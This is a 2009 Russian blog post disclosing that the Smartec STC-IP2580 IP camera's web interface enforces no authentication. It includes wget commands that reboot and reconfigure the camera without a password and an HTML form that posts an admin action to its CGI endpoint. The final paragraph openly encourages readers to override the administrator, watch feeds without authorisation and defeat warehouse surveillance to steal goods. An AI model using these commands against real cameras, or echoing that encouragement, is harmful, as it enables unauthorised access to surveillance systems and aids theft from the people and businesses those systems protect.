среда, 4 марта 2009 г.

Программная уязвимость IP камеры Smartec STC-IP2580

Я не специалист по видеонаблюдению вообще и по IP-камерам в частности. Но мне, как системному администратору, была поставлена задача. Софт, поставляемый с камерой Smartec STC-IP2580 часто переглючивает. На текущий момент, нам известен лишь один способ полечить эти глюки. Это перезагрузка камеры через её веб-интерфейс. Мне нужно было автоматизировать этот процесс, т.е. программно выполнять перезагрузку камер по расписанию.

Приступив к решению задачи, я выяснил что доступ к веб-интерфейсу камеры, как и полагается, закрыт паролем. Сначала я предполагал использовать пример из документации утилиты wget для доступа к запороленным ресурсам сайта:

# сначала залогинится и сохранить сессионный cookie
wget --save-cookies cookies.txt \
     --post-data 'user=foo&password=bar' \
     http://server.com/auth.php

# используя сохраненный cookie получить доступ
# к закрытым страницам сайта
wget --load-cookies cookies.txt \
    -p http://server.com/interesting/article.php

Предположим что (это параметры по умолчанию):

  • ip-адрес камеры 192.168.1.1
  • логин Admin
  • пароль 123456

По-быстрому разобрав html-код формы авторизации, я выяснил имена параметров. Каково же было моё удивление, когда выполнив первую команду:

wget --save-cookies cookies.txt                               \
     --post-data "LOGIN_ACCOUNT=Admin&LOGIN_PASSWORD=123456"  \
     http://192.168.1.1/cgi-bin/videoconfiguration.cgi

Я обнаружил пустой файл cookie! В дальнейшем мои самые худшие опасения подтвердились — для доступа к ЛЮБЫМ функциям веб-интерфейса пароль не требуется совершенно!!! Авторизация на веб-интерфейсе камеры — это защита от честных людей. В частности, необходимая мне команда перезагрузки камеры выглядит так:

wget --post-data "SAVE_ADMIN=SAVE_ADMIN" \
     http://192.168.1.1/cgi-bin/videoconfiguration.cgi

Вы видите где-нибудь в этой команде использование пароля? Я тоже не вижу. Тем не менее, команда прекрасно работает.

Злобный одмин в организации сменил для ip-камеры стандартный пароль, а вам всё равно хочется порулить её настройками? Не беда, создайте html страничку следующего содержания:

<html>
  <body>
    <form
      action="http://192.168.1.1/cgi-bin/videoconfiguration.cgi"
      method="post"
    >
      <input type="hidden" name="SYSTEM_ADMIN" value="SYSTEM_ADMIN">
      <input type="submit" value="OK">
    </form>
  </body>
</html>

Далее откройте её в браузере, нажмите кнопку «OK» и пусть администратор подавится своим паролем! Хотите наблюдать за изображением с камеры, не имея на то полномочий? Легко! Система видеонаблюдения за складом в вашей организации основана на IP камерах Smartec STC IP2580, а на складе много всего вкусного? Ну теперь вы знаете как обмануть это дурацкое видеонаблюдение :-)